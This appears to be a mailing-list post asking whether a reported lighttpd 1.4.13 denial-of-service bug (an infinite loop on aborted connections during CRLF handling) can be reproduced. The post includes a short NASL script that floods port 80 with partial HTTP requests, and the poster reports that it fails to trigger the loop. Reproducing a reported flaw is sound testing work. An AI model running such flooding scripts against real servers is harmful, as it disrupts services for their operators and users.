lighttpd DoS
"Robert Jakabosky discovered an infinite loop triggered by a connection
abort when Lighttpd processes carriage return and line feed sequences."

Could anybody reproduce this DoS? I recompile a lighttpd 1.4.13, but
this script does not work.
The server rejects connections for about one minute (because
all ports are saturated with sockets in TIME_WAIT state), but it only
affects the attacking source IP and there is no CPU loop.

$ more /tmp/ec.nasl
i= 0;

while (s = open_sock_tcp(80))
{
i ++;
send(socket: s, data: 'GET / HTTP/1.0\r\n');
close(s);
}
display(i, ' done\n');
$
